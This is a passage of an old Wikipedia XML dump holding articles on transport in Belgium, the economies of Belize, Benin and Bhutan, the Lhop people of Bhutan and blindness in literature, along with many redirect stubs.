*[[R8 road (Belgium)|R8]][http://www.xs4all.nl/~egavic/ASN/be/frames.html?/~egavic/ASN/be/rb8.html] is the outer ringway and [[R36 road (Belgium)|R36]] is the inner ring way around [[Kortrijk]]
*[[R23 road (Belgium)|R23]] is the ringway around [[Leuven]]
*[[R30 road (Belgium)|R30]] is the ringwau around [[Bruges]]

===National roads===
The national roads[http://www.xs4all.nl/~egavic/ASN/be/frames.html?/~egavic/ASN/be/nb.html] are marked with a letter '''N''' and a number. 

The principal national roads diverge from Brussels in clockwisely:
*[[N1 road (Belgium)|N1]]: [[Brussels]] - [[Mechelen]] - [[Antwerp]]
*[[N2 road (Belgium)|N2]]: [[Brussels]] - [[Leuven]] - [[Diest]] - [[Hasselt]] - [[Maastricht]] 
*[[N3 road (Belgium)|N3]]: [[Brussels]] - [[Leuven]] - [[Tienen]] - [[Sint-Truiden]] - [[Liège (city)|Li&amp;egrave;ge]] - [[Aachen]]
*[[N4 road (Belgium)|N4]]: [[Brussels]] - [[Wavre]] - [[Namur (city)|Namur]] - [[Marche-en-Famenne]] - [[Bastogne]] - [[Arlon]]
*[[N5 road (Belgium)|N5]]: [[Brussels]] - [[Philippeville]] - [[Charleroi]]
*[[N6 road (Belgium)|N6]]: [[Brussels]] - [[Halle, Belgium|Halle]] - [[Soignies]] - [[Mons]]
*[[N7 road (Belgium)|N7]]: [[Brussels]] - [[Halle, Belgium|Halle]] - [[Ath]] - [[Doornik]]
*[[N8 road (Belgium)|N8]]: [[Brussels]] - [[Ninove]] - [[Oudenaarde]] - [[Kortrijk]] - [[Ypres]] - [[Veurne]] - [[Koksijde]]
*[[N9 road (Belgium)|N9]]: [[Brussels]] - [[Aalst]] - [[Ghent]] - [[Eeklo]] - [[Bruges]] - [[Ostend]]

Secondary national roads intersect these.

==Waterways==
2,043 km (1,532 km in regular commercial use)

==Pipelines==
Crude oil 161 km; petroleum products 1,167 km; natural gas 3,300 km

==Ports and harbours==

===Sea ports===
[[Antwerp]] (one of the world's busiest ports) [http://www.portofantwerp.com/ Port of Antwerp]&lt;br&gt;
{| style=&quot;margin-left: 5%;&quot; width=&quot;50%&quot; border=&quot;1&quot;
|-
| 2003 || unloaded || loaded || total
|-
| Total volume in tonnes || 77,596,356
| 65,278,156 || 142,874,512
|-
| Container volume in TEU || 2,642,338
| 2,803,100 || 5,445,437
|-
| Barge traffic in tonnes || 33,990,726
| 42,623,875 || 76,614,601
|}
{| style=&quot;margin-left: 5%;&quot; width=&quot;50%&quot; border=&quot;1&quot;
|-
| 2004 || unloaded || loaded || total
|-
| Total volume in tonnes || 83,109,485
| 69,217,080 || 152,326,565
|-
| Container volume in TEU || 2,946,297
| 3,117,450 ||  6,063,746
|-
| Barge traffic in tonnes || 35,969,512
| 45,969,918 || 81,939,430
|}&lt;div  style=&quot;margin-left: 5%;&quot;&gt;Source: Antwerp Port Authority&lt;/div&gt;
[[Zeebrugge]] (Port suburb of [[Bruges]]) [http://www.zeebruggeport.be/ Port of Bruges]&lt;br&gt;
[[Ghent]] [http://www.havengent.be/ Port of Ghent]&lt;br&gt;
[[Ostend]] [http://www.portofoostende.be/ Port of Ostend]&lt;br&gt;

===Main inland ports===
[[Brussels]] (also accessible for ocean-going ships) [http://www.havenvanbrussel.irisnet.be/ Port of Brussels]&lt;br&gt;
[[Liège (city)|Liège]] (one of the busiest in Europe) [http://www.liege.port-autonome.be/ Port of Liège]&lt;br&gt;

===European portuary context===
European Sea Ports Organisation [http://www.espo.be/ ESPO]&lt;br&gt;
European Federation of Inland Ports [http://www.inlandports.be/ FEPI]&lt;br&gt;
Inland Navigation Europe [http://www.inlandnavigation.org/ INE]&lt;br&gt;
2002 ranking of world ports by tonnage and by container volume (in TEU) [http://www.infoplease.com/ipa/A0104779.html Port ranking]

==Merchant marine==
&lt;br /&gt;''total:''
22 ships (1,000 GRT or over) totaling 35,075 GRT/57,347 DWT
&lt;br /&gt;''ships by type:''
cargo 7, chemical tanker 8, petroleum tanker 7 (1999 est.)
==Airports==
''Main article: [[List of airports in Belgium]].''

42 (1999 est.)

=== with paved runways ===
&lt;br /&gt;''total:''
24
&lt;br /&gt;''over 3,047 m:''
6, including [[Brussels International Airport]].
&lt;br /&gt;''2,438 to 3,047 m:''
8
&lt;br /&gt;''1,524 to 2,437 m:''
3
&lt;br /&gt;''914 to 1,523 m:''
1
&lt;br /&gt;''under 914 m:''
6 (1999 est.)

=== with unpaved runways ===
&lt;br /&gt;''total:''
18
&lt;br /&gt;''914 to 1,523 m:''
2
&lt;br /&gt;''under 914 m:''
16 (1999 est.)

===Heliports===
1 (1999.)

==Reference==
''Much of the material in this article comes from the [[CIA World Factbook]] 2000.''

== See also == 
*[[Belgium]]

[[Category:Transportation in Belgium| ]]

[[fr:Transport en Belgique]]
[[lt:Belgijos transportas]]
[[nl:Vervoer in België]]</text>
    </revision>
  </page>
  <page>
    <title>Belgium/Military</title>
    <id>3547</id>
    <revision>
      <id>15901869</id>
      <timestamp>2002-08-07T16:37:48Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Military of Belgium</comment>
      <text xml:space="preserve">#REDIRECT [[Military of Belgium]]</text>
    </revision>
  </page>
  <page>
    <title>Belgium/Transnational issues</title>
    <id>3548</id>
    <revision>
      <id>15901870</id>
      <timestamp>2002-08-07T16:39:17Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Foreign relations of Belgium</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Belgium]]</text>
    </revision>
  </page>
  <page>
    <title>Belgium/Belgie</title>
    <id>3549</id>
    <revision>
      <id>15901871</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>130.94.122.xxx</ip>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Belgium]]</text>
    </revision>
  </page>
  <page>
    <title>Belgium/Foreign relations</title>
    <id>3550</id>
    <revision>
      <id>15901872</id>
      <timestamp>2002-08-07T16:38:29Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Foreign relations of Belgium</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Belgium]]</text>
    </revision>
  </page>
  <page>
    <title>Belgium/facts</title>
    <id>3551</id>
    <revision>
      <id>24631762</id>
      <timestamp>2005-10-03T09:32:28Z</timestamp>
      <contributor>
        <username>Fermion</username>
        <id>70681</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Belgium]]</text>
    </revision>
  </page>
  <page>
    <title>Belize/History</title>
    <id>3552</id>
    <revision>
      <id>15901874</id>
      <timestamp>2002-03-01T16:07:49Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Belize]]</text>
    </revision>
  </page>
  <page>
    <title>Belize/People</title>
    <id>3554</id>
    <revision>
      <id>15901875</id>
      <timestamp>2002-08-20T15:36:44Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Demographics of Belize]]</text>
    </revision>
  </page>
  <page>
    <title>Government of Belize</title>
    <id>3555</id>
    <revision>
      <id>15901876</id>
      <timestamp>2002-08-07T16:47:08Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Politics of Belize</comment>
      <text xml:space="preserve">#REDIRECT [[Politics of Belize]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Belize</title>
    <id>3556</id>
    <revision>
      <id>41349270</id>
      <timestamp>2006-02-26T19:42:39Z</timestamp>
      <contributor>
        <username>Gene.arboit</username>
        <id>278325</id>
      </contributor>
      <comment>fr:</comment>
      <text xml:space="preserve">'''The Economy of [[Belize]]'''
{{Economy of Belize table}}
[[Forestry]] was the only economic activity of any consequence in Belize until well into the [[20th century]] when the supply of accessible timber began to dwindle. Cane [[sugar]] then became the principal export and recently has been augmented by expanded production of [[citrus]], [[banana]]s, [[seafood]], and [[apparel]]. The country has about 8,090 km² of [[arable land]], only a small fraction of which is under cultivation. To curb land speculation the government enacted legislation in [[1973]] that requires non-Belizeans to complete a development plan on land they purchase before obtaining title to plots of more than 10 acres (40,000 m&amp;sup2;) of rural land or more than one-half acre (2,000 m&amp;sup2;)  of urban land.

Domestic industry is limited, constrained by relatively high-cost labor and energy and a small domestic market. The [[United States]] Embassy in [[Belize City]] knows of some 185 [[United States]] companies that have operations in Belize, including [[MCI]], [[Duke Energy International]], [[Archer Daniels Midland]], [[Texaco]], and [[Esso]]. [[Tourism]] attracts the most foreign direct investment although significant U.S. investment also is found in the energy, telecommunications, and agricultural sectors.

A combination of natural factors--climate, the longest barrier [[reef]] in the [[Western Hemisphere]], numerous islands, excellent [[fishing]], safe waters for boating, [[Jungle (terrain)|jungle]] wildlife, and [[Maya civilization|Maya]] ruins--support the thriving tourist industry. Development costs are high, but the Government of Belize has designated [[tourism]] as its second development priority after [[agriculture]]. In [[2000]], tourist arrivals totaled 189,634 (more than 110,000 from the U.S.) and tourist receipts amounted to $113.3 million.

Belize's investment policy is codified in the Belize Investment Guide, which sets out the development priorities for the country. The &quot;Country Commercial Guide&quot;. 

==Infrastructure==
[[Image:Belize farming gm.jpg|thumb|250px|right|Agriculture is a key part of the economy.]]
A major constraint on the economic development of Belize continues to be the scarcity of infrastructure investments. Although [[electricity]], [[telephone]], and [[water]] utilities are all relatively good, Belize has the most expensive electricity in the region. Large tracts of land which would be suitable for development are inaccessible due to lack of roads. Some roads, including sections of major highways, are subject to damage or closure during the rainy season. Ports in [[Belize City]], [[Dangriga]], and [[Big Creek, Belize|Big Creek]] handle regularly scheduled shipping from the U.S. and the [[United Kingdom]] although draft is limited to a maximum of 10 feet in Belize City and 15 feet in southern ports. International air service is provided by [[American Airlines]], [[Continental Airlines]], and [[TACA]] to gateways in [[Dallas, Texas]], [[Houston, Texas]], [[Miami, Florida]], and [[San Salvador]].

Several capital projects are either currently underway or are programmed to start in fiscal year [[2001]]/[[2002]]. The largest of these is a $15 million rural electrification program to be jointly implemented by the government and Belize Electricity Limited (BEL). In addition, the government will continue to implement an [[Inter-American Development Bank]] Emergency Reconstruction Fund of $20 million aimed at restoring essential services such as health and education facilities and transportation networks to communities which were severely damaged by [[Hurricane Keith]]. The government will also invest close to $4.2 million in projects targeted at poverty alleviation across Belize.

Initiated in [[1999]], the Ministry of Agriculture and Fisheries, through the Belize Agricultural Health Authority, will continue to implement the IDB-funded &quot;Modernization of Agricultural Health Project.&quot; This $2.5 million project seeks to improve the competitiveness of Belize's agricultural products and thus enhance the ability of Belizean farmers and processors to maintain and expand the sale of their high-quality products to foreign markets. A $5 million [[soybean]] project, funded by the Brazilian Government, is scheduled to begin in 2001 and is intended to assist northern Belize farmers to diversify away from sugarcane cultivation.

The government also plans to invest $9.85 million to complete the rehabilitation of the [[Hummingbird Highway]], as well as investing $9.5 million in its health-sector reform program. Another $9 million will be invested under the IDB-funded &quot;Land Management Project&quot; over the next 2 years. The Ministry of Tourism is confident that another IDB-funded project, the &quot;Tourism Development Project,&quot; will make Belize the Mundo Maya centerpiece for travelers to [[Central America]]. The government will spend close to $1.4 million in improving access to the Maya archaeological sites in Belize, especially [[Caracol, Belize|Caracol]]. Using a generous soft loan from [[Republic of China|Taiwan]], the government is funneling $50 million toward the construction of low-cost housing.

===Trade===
Belize's economic performance is highly susceptible to external market changes. Although moderate growth has been achieved in recent years, the achievements are vulnerable to world commodity price fluctuations and continuation of preferential trading agreements, especially with the U.S. (cane [[sugar]]) and U.K. ([[banana]]s).

Belize continues to rely heavily on foreign trade with the United States as its number one trading partner. Total imports in 2000 totaled $446 million while total exports were only $228.6 million. In 2000, the U.S. accounted for 48.5% of Belize's total exports and provided 49.7% of all Belizean imports. Other major trading partners include the [[United Kingdom|U.K.]], [[European Union]], [[Canada]], [[Mexico]], and [[Caribbean Community]] (CARICOM) member states.

Belize aims to stimulate the growth of commercial agriculture through CARICOM. However, Belizean trade with the rest of the Caribbean is small compared to that with the United States and [[Europe]]. The country is a beneficiary of the Caribbean Basin Initiative (CBI), a U.S. Government program to stimulate investment in [[Caribbean]] nations by providing [[duty-free]] access to the U.S. market for most Caribbean products. Significant U.S. private investments in citrus and shrimp farms have been made in Belize under CBI. U.S. trade preferences allowing for duty-free re-import of finished apparel cut from U.S. textiles have significantly expanded the apparel industry. EU and U.K. preferences also have been vital for the expansion and prosperity of the sugar and banana industries.

===Economy - overview:===
The small, essentially private enterprise economy is based primarily on agriculture, agro-based industry, and merchandising, with tourism and construction assuming greater importance. [[Sugar]], the chief crop, accounts for nearly half of exports, while the [[banana]] industry is the country's largest employer. The government's tough austerity program in [[1997]] resulted in an economic slowdown that continued in [[1998]]. The trade deficit has been growing, mostly as a result of low export prices for sugar and bananas. The new government faces important challenges to economic stability. Rapid action to improve tax collection has been promised, but a lack of progress in reining in spending could bring the exchange rate under pressure. The tourist and construction sectors strengthened in early 1999, leading to a preliminary estimate of revived growth at 4%. The Belize Dollar is fixed to the [[U.S. dollar]] at a rate of 2:1.

==See also==
* [[Belize]]

==References==
*[http://www.cia.gov/cia/publications/factbook/geos/bh.html CIA Factbook Belize]
*[http://www.state.gov/www/about_state/business/com_guides/2001/wha/index.html]

{{WTO}}

[[Category:Economy of CARICOM|Belize]]
[[Category:Economy of Belize|*]]
[[Category:Economies by country|Belize]]

[[fr:Économie du Belize]]
[[pt:Economia do Belize]]</text>
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        <username>Koyaanis Qatsi</username>
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    <title>Government of Benin</title>
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    <title>Economy of Benin</title>
    <id>3565</id>
    <revision>
      <id>38981366</id>
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      <contributor>
        <username>Briaboru</username>
        <id>284038</id>
      </contributor>
      <text xml:space="preserve">{{Economy of Benin table}}
==Overview==
The economy of [[Benin]] remains underdeveloped and dependent on [[subsistence agriculture]], [[cotton]] Cotton accounts for 40% of GDP and roughly 80% of official export receipts. There is also production of [[textile]]s, palm products, and [[cocoa]]. [[Maize]] (corn), [[bean]]s, [[rice]], [[peanut]]s, [[cashew]]s, [[pineapple]]s, [[cassava]], [[yam (vegetable)|yams]], and other various tubers are grown for local subsistence. Benin began producing a modest quantity of offshore oil in [[October 1982]]. Production ceased in recent years but exploration of new sites is ongoing. A modest fishing fleet provides fish and shrimp for local subsistence and export to Europe. Formerly government-owned commercial activities are now privatized. A French [[brewing|brewer]] acquired the former state-run brewery. Smaller businesses are privately owned by Beninese citizens, but some firms are foreign owned, primarily [[France|French]] and [[Lebanese]]. The private commercial and agricultural sectors remain the principal contributors to growth.

==Economic Development==
Since the transition to a [[Democracy|democratic]] government in [[1990]], Benin has undergone an economic recovery. A large injection of external investment from both private and public sources has alleviated the economic difficulties of the early 1990s caused by global recession and persistently low commodity prices (although the latter continues to affect the economy). The manufacturing sector is confined to some light industry, which is mainly involved in processing primary products and the production of consumer goods. A planned joint [[hydroelectric]] project with neighboring [[Togo]] is intended to reduce Benin's dependence on imported energy mostly from [[Ghana]], which currently accounts for a significant proportion of the country's imports. The service sector has grown quickly, stimulated by economic liberalization and fiscal reform. Membership of the [[CFA Franc Zone]] offers reasonable currency stability as well as access to French economic support. Benin sells its products mainly to [[France]] and, in smaller quantities, to the [[Netherlands]], [[Korea]], [[Japan]], and [[India]]. France is Benin's leading source for imports. Benin is also a member of the [[West Africa]]n economic community [[ECOWAS]].

Despite its rapid growth, the economy of Benin still remains underdeveloped and dependent on subsistence agriculture, cotton production, and regional trade. Growth in real output averaged a sound 5% since 1996, but a rapid population rise offset much of this growth on a per capita basis. Inflation has subsided over the past several years. Commercial and transport activities, which make up a large part of GDP, are vulnerable to developments in [[Nigeria]], particularly fuel shortages.

==Reference==

*[http://www.cia.gov/cia/publications/factbook/geos/bn.html CIA World Factbook]

{{WTO}}

[[Category:Economy of Benin]]
[[Category:Economies by country|Benin]]
[[Category:WTO members|Benin]]
[[Category:African Union member economies|Benin]]

[[af:Ekonomie van Benin]]
[[fr:Économie du Bénin]]</text>
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      <id>32381566</id>
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    <title>Bhutan/History</title>
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    <title>Economy of Bhutan</title>
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        <ip>81.62.121.40</ip>
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      <comment>/*  */ +es</comment>
      <text xml:space="preserve">'''Economy - overview:'''
The economy of [[Bhutan]], one of the world's smallest and least developed, is based on [[agriculture]] and [[forestry]], which provide the main livelihood for 90% of the population and account for about 40% of [[gross domestic product|GDP]]. Agriculture consists largely of subsistence farming and animal husbandry. Rugged mountains dominate the terrain and make the building of roads and other infrastructure difficult and expensive. The economy is closely aligned with India's through strong trade and monetary links. The industrial sector is technologically backward, with most production of the cottage industry type. Most development projects, such as road construction, rely on [[India]]n migrant labor. Bhutan's hydropower potential and its attraction for tourists are key resources. The Bhutanese Government has made some progress in expanding the nation's productive base and improving social welfare. Model education, social, and environment programs in Bhutan are underway with support from multilateral development organizations. Each economic program takes into account the government's desire to protect the country's environment and cultural traditions. Detailed controls and uncertain policies in such areas as industrial licensing, trade, labor, and finance continue to hamper foreign investment.

In 2004, Bhutan became the first country in the world to ban smoking and the selling of Tobacco.

'''GDP:'''
purchasing power parity - $2.1 billion (1999 est.)

'''GDP - real growth rate:'''
7% (1999 est.)

'''GDP - per capita:'''
purchasing power parity - $1,060 (1999 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
38%
&lt;br&gt;''industry:''
37%
&lt;br&gt;''services:''
25% (1998)

'''Population below poverty line:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''Inflation rate (consumer prices):'''
9% (1998)

'''Labor force:'''
NA
&lt;br&gt;''note:''
massive lack of skilled labor

'''Labor force - by occupation:'''
agriculture 93%, services 5%, industry and commerce 2%

'''Unemployment rate:'''
NA%

'''Budget:'''
&lt;br&gt;''revenues:''
$146 million
&lt;br&gt;''expenditures:''
$152 million, including capital expenditures of $NA (FY95/96 est.)
&lt;br&gt;''note:''
the government of India finances nearly three-fifths of Bhutan's budget expenditures

'''Industries:'''
cement, wood products, processed fruits, alcoholic beverages, calcium carbide

'''Industrial production growth rate:'''
9.3% (1996 est.)

'''Electricity - production:'''
1,788 GWh (1998)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
0.39%
&lt;br&gt;''hydro:''
99.61%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
345 GWh (1998)

'''Electricity - exports:'''
1,339 GWh
&lt;br&gt;''note:''
exports electricity to India (1998)

'''Electricity - imports:'''
21 GWh (1998)

'''Agriculture - products:'''
rice, corn, root crops, citrus, foodgrains; dairy products, eggs

'''Exports:'''
$111 million (f.o.b., 1998)

'''Exports - commodities:'''
cardamom, gypsum, timber, handicrafts, cement, fruit, electricity (to India), precious stones, spices

'''Exports - partners:'''
India 94%, Bangladesh

'''Imports:'''
$136 million (c.i.f., 1998)

'''Imports - commodities:'''
fuel and lubricants, grain, machinery and parts, vehicles, fabrics, rice

'''Imports - partners:'''
India 77%, [[Japan]], [[United Kingdom]], [[Germany]], [[United States]]

'''Debt - external:'''
$120 million (1998)

'''Economic aid - recipient:'''
$73.8 million (1995)

'''Currency:'''
1 ngultrum (Nu) = 100 chetrum; note - Indian currency is also legal tender

'''Exchange rates:'''
ngultrum (Nu) per US$1 - 43.552 (January 2000), 43.055 (1999), 41.259 (1998), 36.313 (1997), 35.433 (1996), 32.427 (1995); note - the Bhutanese ngultrum is at par with the Indian rupee

'''Fiscal year:'''
[[1 July]] - [[30 June]]

==Reference==
''Much of the material in this article comes from the [[CIA World Factbook]] 2000 and the 2003 U.S. Department of State website.''

{{SAFTA}}

[[Category:Bhutan|Bhutan]]
[[Category:Economies by country|Bhutan]]

[[es:economía de Bután]]
[[fr:économie du Bhoutan]]
[[pt:Economia do Butão]]</text>
    </revision>
  </page>
  <page>
    <title>Bhutan/Communications</title>
    <id>3584</id>
    <revision>
      <id>15901905</id>
      <timestamp>2002-08-07T17:12:22Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Communications in Bhutan</comment>
      <text xml:space="preserve">#REDIRECT [[Communications in Bhutan]]</text>
    </revision>
  </page>
  <page>
    <title>Bhutan/Transportation</title>
    <id>3585</id>
    <revision>
      <id>24815275</id>
      <timestamp>2005-10-05T14:58:06Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Transport in Bhutan]]</text>
    </revision>
  </page>
  <page>
    <title>Bhutan/Military</title>
    <id>3586</id>
    <revision>
      <id>15901907</id>
      <timestamp>2002-08-07T17:13:26Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Military of Bhutan</comment>
      <text xml:space="preserve">#REDIRECT [[Military of Bhutan]]</text>
    </revision>
  </page>
  <page>
    <title>Bhutan/Transnational issues</title>
    <id>3587</id>
    <revision>
      <id>15901908</id>
      <timestamp>2003-05-25T18:58:10Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[Bhutan]]</text>
    </revision>
  </page>
  <page>
    <title>Bhutan/Lhotshampa</title>
    <id>3588</id>
    <revision>
      <id>15901909</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <username>WojPob</username>
        <id>34</id>
      </contributor>
      <minor />
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Lhotshampa]]</text>
    </revision>
  </page>
  <page>
    <title>Lhop</title>
    <id>3589</id>
    <revision>
      <id>35889784</id>
      <timestamp>2006-01-20T01:12:26Z</timestamp>
      <contributor>
        <username>NekoDaemon</username>
        <id>239574</id>
      </contributor>
      <minor />
      <comment>Robot: [[Cat#Communication|Nyaa]]! [[Template talk:Categoryredirect|Categoryredirect]]: [[Category:Ethnic groups of Bhutan]] → [[Category:Ethnic groups in Bhutan]].  Requested change by [[User:Darwinek|]]</comment>
      <text xml:space="preserve">The '''Lhop''' or '''Doya''' are a little-known tribe of southwest [[Bhutan]].  The Bhutanese believe them to be the [[indigenous peoples|aboriginal]] inhabitants of the country, although this claim has not be substantiated by anthropologists. The Lhop are found in the low valleys of [[Samtse]] and near [[Phuntsoling]] in the [[Duars]]. They are also known as the Lhops, Lhopu, or Lhokpu and speak a [[Tibeto-Burman]] language.  They total approximately 1000 persons.

The dress of the Lhop resembles the [[Lepcha]], but they bear little similarity with the [[Bhutia]] in the North and the [[Toto (tribe)|Toto]] in the west. The Doya trace their descent [[matrilineality|matrilineally]], marry their [[cross cousin]]s, and embalm the deceased who are then placed in a foetal position on a circular sarcophagi above the ground. They follow a blend of [[Tibetan Buddhism]] mixed with [[animism]].

==See also==
*[[Sharchop]]
*[http://www.bagchee.com/BookDisplay.aspx?Bkid=B31019 ''Lhops (Doya) of Bhutan: An Ethnographic Account'' by B. Deben Sharman]

{{ethno-stub}}

[[Category:Ethnic groups in Bhutan]]</text>
    </revision>
  </page>
  <page>
    <title>Bolivia/History</title>
    <id>3590</id>
    <revision>
      <id>15901911</id>
      <timestamp>2002-03-01T16:34:54Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Bolivia]]</text>
    </revision>
  </page>
  <page>
    <title>Bolivia/People</title>
    <id>3591</id>
    <revision>
      <id>15901912</id>
      <timestamp>2002-08-20T15:36:20Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Demographics of Bolivia]]</text>
    </revision>
  </page>
  <page>
    <title>Bolivia/Geography</title>
    <id>3592</id>
    <revision>
      <id>15901913</id>
      <timestamp>2002-08-07T17:14:47Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Geography of Bolivia</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of Bolivia]]</text>
    </revision>
  </page>
  <page>
    <title>Bolivia/Government</title>
    <id>3593</id>
    <revision>
      <id>15901914</id>
      <timestamp>2002-08-07T17:15:54Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Politics of Bolivia</comment>
      <text xml:space="preserve">#REDIRECT [[Politics of Bolivia]]</text>
    </revision>
  </page>
  <page>
    <title>Bolivia/Economy</title>
    <id>3594</id>
    <revision>
      <id>15901915</id>
      <timestamp>2002-08-07T17:16:27Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Economy of Bolivia</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of Bolivia]]</text>
    </revision>
  </page>
  <page>
    <title>Bolivia/Communications</title>
    <id>3595</id>
    <revision>
      <id>15901916</id>
      <timestamp>2002-08-07T17:16:58Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Communications in Bolivia</comment>
      <text xml:space="preserve">#REDIRECT [[Communications in Bolivia]]</text>
    </revision>
  </page>
  <page>
    <title>Bolivia/Transportation</title>
    <id>3596</id>
    <revision>
      <id>15901917</id>
      <timestamp>2002-08-07T17:17:31Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Transportation in Bolivia</comment>
      <text xml:space="preserve">#REDIRECT [[Transportation in Bolivia]]</text>
    </revision>
  </page>
  <page>
    <title>Bolivia/Military</title>
    <id>3597</id>
    <revision>
      <id>15901918</id>
      <timestamp>2002-08-07T17:18:02Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Military of Bolivia</comment>
      <text xml:space="preserve">#REDIRECT [[Military of Bolivia]]</text>
    </revision>
  </page>
  <page>
    <title>Bolivia/Transnational issues</title>
    <id>3598</id>
    <revision>
      <id>15901919</id>
      <timestamp>2002-08-07T17:18:47Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Foreign relations of Bolivia</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Bolivia]]</text>
    </revision>
  </page>
  <page>
    <title>Blindness in literature</title>
    <id>3600</id>
    <revision>
      <id>41529629</id>
      <timestamp>2006-02-27T23:40:24Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <comment>clean up and bulleting external links using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">Different cultures through history have depicted [[blindness]] in a variety of ways; among the [[Greeks]], for example, it was a punishment from the gods, for which the afflicted individual was often granted compensation in the form of artistic genius. [[Judeo-Christian]] [[literature]] positioned blindness as a flaw; only through a cure could God&amp;rsquo;s love be made manifest, when the scales would fall away from the eyes of an afflicted individual upon contact with a holy man or relic. Almost without exception in early literature, blind people could bring this condition down upon themselves through sin or trespasses against the gods, but were never the sole instruments of its reversal. 

It is impossible to make a blanket generalization about how the blind were treated in literature beyond that point - they were marvelous, gifted, evil, malicious, ignorant, wise, helpless, innocent, or burdensome depending upon who wrote the story - except to say that blindness is perceived to be such a loss that it leaves an indelible mark on a person’s character. 

Even pioneers in training the blind, such as [[Dorothy Harrison Eustis]], harboured negative stereotypes about them. Blind people had, in her opinion, grown so accustomed to waiting on others as to be passive and 'whiney.' 

Father Thomas Carroll, who founded the Carroll Centre for the Blind, wrote ''Blindness: What It Is, What It Does and How to Live with It'' in 1961. In it, he characterized blindness in terms of 20 losses, and as the ‘death’ of the sighted individual.

“In The Country of the Blind“, a book by [[H.G. Wells]], is one of the most well-known stories featuring sightless characters. A sighted man finds himself in a country that has been isolated from the rest of the world for centuries, wherein all the inhabitants are blind even as their ancestors had been.

These people are depicted as self-sufficient, having developed their other senses, but they are ultimately closed-minded and insular to the point of xenophobia. As they themselves have no sight, they wish to deprive the traveler of his own eyes in this allegorical tale of stagnation. 

==Literature by blind people==
While blind and visually impaired people had contributed to the body of common literature for centuries, the creation of autobiographical materials, or materials specific to blindness, is relatively new. 

Most people are familiar with [[Helen Keller]], who was both blind and deaf, but there has been considerable progress since the publication of her work.

* Blind author [[Tom Sullivan]] has written several inspirational books, including ''If You Could See What I Hear'', about his life and accomplishments. 
* Stephen Kuusisto wrote about his experiences as a visually impaired person in ''Planet of the Blind''.
* John Hull, a university lecturer, wrote about going blind in ''Touching the Rock: An Experience of Blindness''.
* Georgina Kleege, visually impaired since age 11, wrote about her life and how it was affected by cultural perceptions of blindness in ''Sight Unseen''.
*[[Sally Hobart Alexander]] became blind when she was about 25 and a schoolteacher, during the 1970s, because of an eye disease. Wrote at least three autobiographical books about adapting to blindness.
*French author [[Jacques Lusseyran]], who was visually impaired at the age of 7 when he injured his eyes on the sharp corner of a teacher's desk, became part of the French resistance during World War II. He spent a year in concentration camps, surviving the experience and writing several books. &quot;And There Was Light&quot; chronicles his experiences from early childhood until his liberation from a concentration camp.

==External links==
*[http://www.planetkilmer.com/rr/august2001/valteamo/ An Overview of the Blind in Literature and Movies]
*[http://www.blind.net/bpba1974.htm Blindness: Is Literature Against Us?]
*[http://www.visionarysolution.com/historysource.html Historical Literature on Blindness]
*[http://www.gutenberg.net/etext/11870 In the Country of the Blind, by H.G. Wells]

[[Category:Blindness]]
[[Category:Literature]]</text>
    </revision>
  </page>
  <page>
    <title>Bosnia and Herzegovina/History</title>
    <id>3603</id>
    <revision>
      <id>15901921</id>
      <timestamp>2002-03-01T18:35:30Z</timestamp>
      <contributor>
